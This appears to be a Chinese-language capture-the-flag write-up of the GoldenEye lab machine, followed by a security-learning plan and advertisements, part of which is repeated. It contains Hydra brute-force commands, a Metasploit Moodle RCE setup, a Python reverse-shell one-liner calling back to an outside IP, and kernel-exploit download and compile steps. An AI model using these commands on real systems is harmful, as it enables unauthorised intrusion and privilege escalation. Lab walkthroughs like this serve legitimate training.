一、信息收集
信息收集非常重要,有了信息才能知道下一步该如何进行,接下来将用 nmap 来演示信息收集:
1、nmap 挖掘信息
扫描挖掘本地的 IP 地址信息:
编辑
发现开放了 25、80 端口,25 端口是 SMTP 端口服务,80 端口扫描出了是乌班图的系统,该 apache 的版本为 2.4.7,接下来访问下 http 的 80 端口。
2、挖掘 HTTP 服务
访问:http://192.168.4.202,显示的文本提示了一条线索,它说进入到/sev-home/目录中。
User: UNKNOWNNaviagate to /sev-home/ to login
访问http://192.168.4.202/sev-home/结果需要登录,这时候是没有用户名密码信息的,继续枚举查找用户名密码信息!
这时候来到 http 主页查看源码:
编辑
3、挖掘 JS 信息
在http://192.168.4.202/页面查看源代码:
<script src="terminal.js"></script>访问:view-source:http://192.168.4.202/terminal.js
编辑
通过对话可知信息中存在两个人名,以及告知了密码信息。获得用户名:Boris、Natalya 获得密码,可以看出是 HTML 加密:
InvincibleHack3r
4、HTML 解密
解密的方法千万种,该项目是第一个后面会有很多个项目给大家演示,先带大家熟悉神器 Burpsuiter 解密 HTML:kali 自带 Burpsuiter 工具
编辑
在 Burpsuiter 打开后在 Decoder 处进行 HTML 破解获取:InvincibleHack3r 最终账号密码:
boris/InvincibleHack3r
5、信息页面枚举
通过前面的两个用户名一次尝试破解的 HTML 密码信息,获得了正确的用户名密码登录http://192.168.4.202/sev-home/,登录后进行信息枚举:
F12调试界面发现信息
编辑
如图所示:
is very effective, we have configured our pop3 service to run on a very high non-default port
意思该环境开启了 pop3 服务配置为在非常高的非默认端口上运行中,那还需要进行全端口的信息枚举。
6、nmap 全端口信息枚举
从上面的消息中,我们可以了解到某个非默认端口上正在运行一个活动的 POP3 服务,进行 nmap 全端口扫描:
nmap -p- 192.168.4.202 (-p-:全端口扫描 -p3306:仅仅扫描3306端口)
编辑
55006/tcp open unknown55007/tcp open unknown
可看到发现了 55006 和 55007 开放中,但是无法知晓是什么 service 服务,进行版本信息枚举。
7、nmap 版本信息枚举
发现 55006,55007 两个开放的端口,扫描端口开启的服务详细信息:
nmap -sS -sV -T5 -A -p55006,55007 192.168.4.202
编辑
这段信息看出这两个端口开放了 pop3 的 mail 服务,那么到此我们信息收集意见归整,发现了对方的两个用户 Boris、Natalya,以及开放了邮箱服务,那么肯定是有互相交往的邮件信息,接下来的目的就很明显,知晓邮箱的账号密码登录后枚举信息。
二、暴力破解-信息枚举
1、hydra 暴力破解
接下来尝试使用暴力破解,在上一步中找到的用户名“boris”,通过 Hydra 暴力破解 pop3 服务:
echo -e 'natalya\nboris' > 12.txt ---将两个用户名写入txt文本中
通过用户名密码写入文本:
编辑
然后进行 hydra 爆破:
编辑
hydra -L dayu.txt -P /usr/share/wordlists/fasttrack.txt 192.168.4.202 -s 55007 pop3-L 引用用户密码文本-P 引用密码文本
等待 2~5 分钟后,成功爆破出 natalya、boris 用户密码信息。
获得两组账号密码:
[55007][pop3] host: 192.168.4.202 login: natalya password: bird[55007][pop3] host: 192.168.4.202 login: boris password: secret1!用户:boris 密码:secret1!用户:natalya 密码:bird
2、信息收集
通过 NC 登录 pop3 查看邮件信封内容枚举,boris 信息中有三封邮件信息,但是仅仅只是一些对话信息,在第二封邮件中提示了 natalya 给 boris 发送的邮件说了一句话:我已经获得了你的密码信息!那么接下来枚举 natalya 邮件。
natalya 用户登录邮件查看信息:
nc 192.168.4.202 55007 ---登录邮箱user natalya ---登录用户pass bird ---登录密码list ---查看邮件数量retr 1~2 ---查看邮件内容
编辑
可看到在枚举 natalya 邮件信息中,第二封邮件直接提示了用户名密码,并且内部存在域名,还提示需要在 etc/hosts 中指向域名才可以正常访问。
用户名:xenia密码:RCP90rulez!域:severnaya-station.com网址:severnaya-station.com/gnocertdir我们现根据邮件提示添加本地域名:severnaya-station.com
3、设置本地 HOSTS 文件
HOSTS 无论在 windows 还是 linux 环境下都是存在的,作用是将 IP 地址指向域名后,在本地访问域名会调转回 IP 地址信息可正常访问页面。
gedit /etc/hosts192.168.4.202 severnaya-station.com
编辑
在最后加入该条信息就行了。
4、后台信息收集
访问 severnaya-station.com/gnocertdir 地址:刚登陆界面我就看到了 moodle,这是一个开源的 CMS 系统:
编辑
继续点一点,发现要登陆,使用邮件获得的用户密码进行登陆。点击:Intro to GoldenEye 可以进行登录,使用 natalya 邮箱第二封邮件获得的用户名密码登录:
用户名:xenia密码:RCP90rulez!
编辑
在信息枚举:Home / ▶ My profile / ▶ Messages —>发现有一封邮件,内容发现用户名 doak:
编辑
编辑
发现了第三个用户名信息。
5、暴力破解 doak 用户
和之前暴力破解一样的性质,继续暴力破解 doak 用户。
echo doak > 11.txt ---将用户名写入txt文本中hydra -L 11.txt -P /usr/share/wordlists/fasttrack.txt 192.168.4.202 -s 55007 pop3
编辑
[55007][pop3] host: 192.168.4.202 login: doak password: goat获得用户名密码:doak/goat
成功获得了用户名密码,接下来登录邮件查看下信息。
6、邮件信息枚举
通过上面获得的 doak 密码继续登录邮件。
nc 192.168.4.202 55007 ---登录邮箱user doak ---登录用户pass goat ---登录密码list ---查看邮件数量retr 1 ---查看邮件内容
编辑
邮件消息说,为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。
用户名:dr_doak密码:4England!
7、使用新的账户密码登录 CMS
编辑
登录 doak 获得的用户名密码信息后在:Home / ▶ My home 右边发现: s3cret.txt 文本信息,下载查看:
编辑
另外发现这是 Moodle 使用的 2.2.3 版本
编辑
Something juicy is located here: /dir007key/for-007.jpg
txt 文件指出管理员凭据已隐藏在映像文件中,让我们在浏览器中打开图像以查看其内容。
8、图片隐写信息枚举
访问页面:severnaya-station.com/dir007key/for-007.jpg
编辑
下载到本地:
wget http://severnaya-station.com/dir007key/for-007.jpg
编辑
根据邮件提示让我们检查图片内容,下载图片后,我们可以使用:
binwalk(路由逆向分析工具)exiftool(图虫)strings(识别动态库版本指令)
三款最常用的工具查看 jpg 文件底层内容,利用 exiftool(图虫)工具:发现 kali 未安装,先安装:
编辑
exiftool 获取 jpg 文件底层内容:
exiftool for-007.jpg
复制代码
编辑
可看到正常的信息显示中存在一个 base64 的编码信息。
或者用 strings 获取 jpg 文件底层内容:
strings for-007.jpg
复制代码
编辑
用以上命令都可以查看到 base64 编码隐藏信息:
eFdpbnRlcjE5OTV4IQ==
复制代码
9、Base64 解码
使用 Burpsuite 破解获得密码:xWinter1995x!
编辑
在 js 文件线索中说,这是管理员用户的密码。管理员用户身份继续登陆应用程序。
用户名:admin密码:xWinter1995x!
复制代码
10、admin 后台信息枚举
通过获得的 admin 用户名密码登录:
编辑
这是 Moodle 使用的 2.2.3 版本,搜索了网上的可用漏洞。
编辑
发现可以利用 CVE-2013-3630 漏洞进行攻击。
三、Getshell 技巧
1、MSF 拿 shell
1)登录 MSF 框架
此版本有许多漏洞利用,由于我们需要在目标计算机上进行交互访问,因此我选择使用远程代码执行(RCE)漏洞利用。利用 msf 框架:
msfconsole ---进入MSF框架攻击界面search moodle ---查找 moodle类型 攻击的模块
复制代码
编辑
通过搜索 moodle 发现存在很多漏洞可利用,选择 CVE-2013-3630 的 exp 就行。
2)利用漏洞拿 shell
show option 可以查看该 exp 脚本所需要的条件信息:
use 1 ---调用1 exploit/multi/http/moodle_cmd_exec调用攻击脚本set username admin ---设置用户名:adminset password xWinter1995x! ---设置密码:xWinter1995x!set rhost severnaya-station.com ---设置:rhosts severnaya-station.comset targeturi /gnocertdir ---设置目录: /gnocertdirset payload cmd/unix/reverse ---设置payload:cmd/unix/reverseset lhost 192.168.4.227 ---设置:lhost 192.168.4.227(需要本地IP)exploit ----执行命令
复制代码
编辑
可看到填入了 URL、目录、账号密码等信息后获得 shell,发现是普通用户权限,那么接下来的思路就是提权了。
3)powershell 设置
如果无法执行 MSF 获得反弹 shell,该脚本使用的是 powershell 命令,由于我们已经使用了管理员 admin 用户登录页面,需要在设置中修改:
Home / ▶ Site administration / ▶ Plugins / ▶ Text editors / ▶ TinyMCE HTML editor
复制代码
编辑
这只好 save 保存就行。
2、代码执行反弹 shell
通过 MSF 是可以拿到 shell 的,但是在后台中还存在很多漏洞,接下来在演示一个利用远程代码执行命令反弹 shell:
Home / ► Site administration / ► Server / ► System paths
复制代码
来到该页面将一句话放入:
编辑
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.211.55.28",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
复制代码
保存后当对方服务器环境在某个点触发条件就会执行该命令,这时候在本地利用 NC 开启监听进行获得交互 shell:
nc -vlp 6666
复制代码
编辑
这时候来到主页去触发下命令执行吧:
Home / ► My profile / ► Blogs / ► Add a new entry
复制代码
编辑
点击打钩处会进行回转,这时候就已经远程代码执行触发了,回到 nc 监听处看看:
编辑
这时候就获得了反弹 shell,www-data 权限的 shell 了。
四、提权
前面获取的是低权限 www-data 用户,需要提权为 root 才可以达到我们的最终目的。
1、内核提权
执行 tty,因为获得的权限无正常交互:
python -c 'import pty; pty.spawn("/bin/bash")' ---将shell进行ttyuname -a # 查看权限
复制代码
编辑
Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
复制代码
谷歌搜索:Linux ubuntu 3.13.0-32 exploit
编辑
获得 exp 版本:37292.c 可进行利用进行内核提权。
2、kali 内核脚本
搜索 exp 版本信息:
searchsploit 37292 ---搜索kali本地的exp库中37292攻击脚本信息cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/kali/桌面/ ---目录可自行修改
复制代码
编辑
kali 是自带很多 EXP 攻击脚本的,直接搜索复制到本地。
3、CC 编译 EXP
由于第一次操作上传后,项目环境无 gcc,存在 CC 环境需要改下脚本为 cc:
gedit 37292.c ---文本打开 第143行将gcc改为cc ---编写下
复制代码
编辑
然后在本地目录下开启 http 服务:
python -m SimpleHTTPServer 8081
复制代码
编辑
这时候该 37292.c 攻击提权脚本就在本目录的 HTTP 底下,在项目环境执行 wget 下载文件并 CC 编译就行。
4、内核提权 Root
先通过 wget 下载文件到本地
wget http://192.168.4.222:8081/37292.c ---wget下载http服务下的文件
复制代码
编辑
通过上传脚本上去后,在 exp 界面就可看到用法执行 cc 编译:
cc -o exp 37292.c ---C语言的CC代码编译点c文件chmod +x exp ---编译成可执行文件,并赋权./exp ---点杠执行id ---查看目前权限cat /root/.flag.txt ---读取root下的flag信息
复制代码
编辑
获得flag:568628e0d993b1973adc718237da6e93
接下来我将给各位同学划分一张学习计划表!
学习计划
那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:
阶段一:初级网络安全工程师
接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。
综合薪资区间6k~15k
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?
阶段二:中级or高级网络安全工程师(看自己能力)
综合薪资区间15k~30k
7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。
零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;
Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完
用Python编写漏洞的exp,然后写一个简单的网络爬虫
PHP基本语法学习并书写一个简单的博客系统
熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)
了解Bootstrap的布局或者CSS。
阶段三:顶级网络安全工程师
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
学习资料分享
当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。
阶段二:中级or高级网络安全工程师(看自己能力)
综合薪资区间15k~30k
7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。
零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;
Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完
用Python编写漏洞的exp,然后写一个简单的网络爬虫
PHP基本语法学习并书写一个简单的博客系统
熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)
了解Bootstrap的布局或者CSS。
阶段三:顶级网络安全工程师
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
学习资料分享
当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。
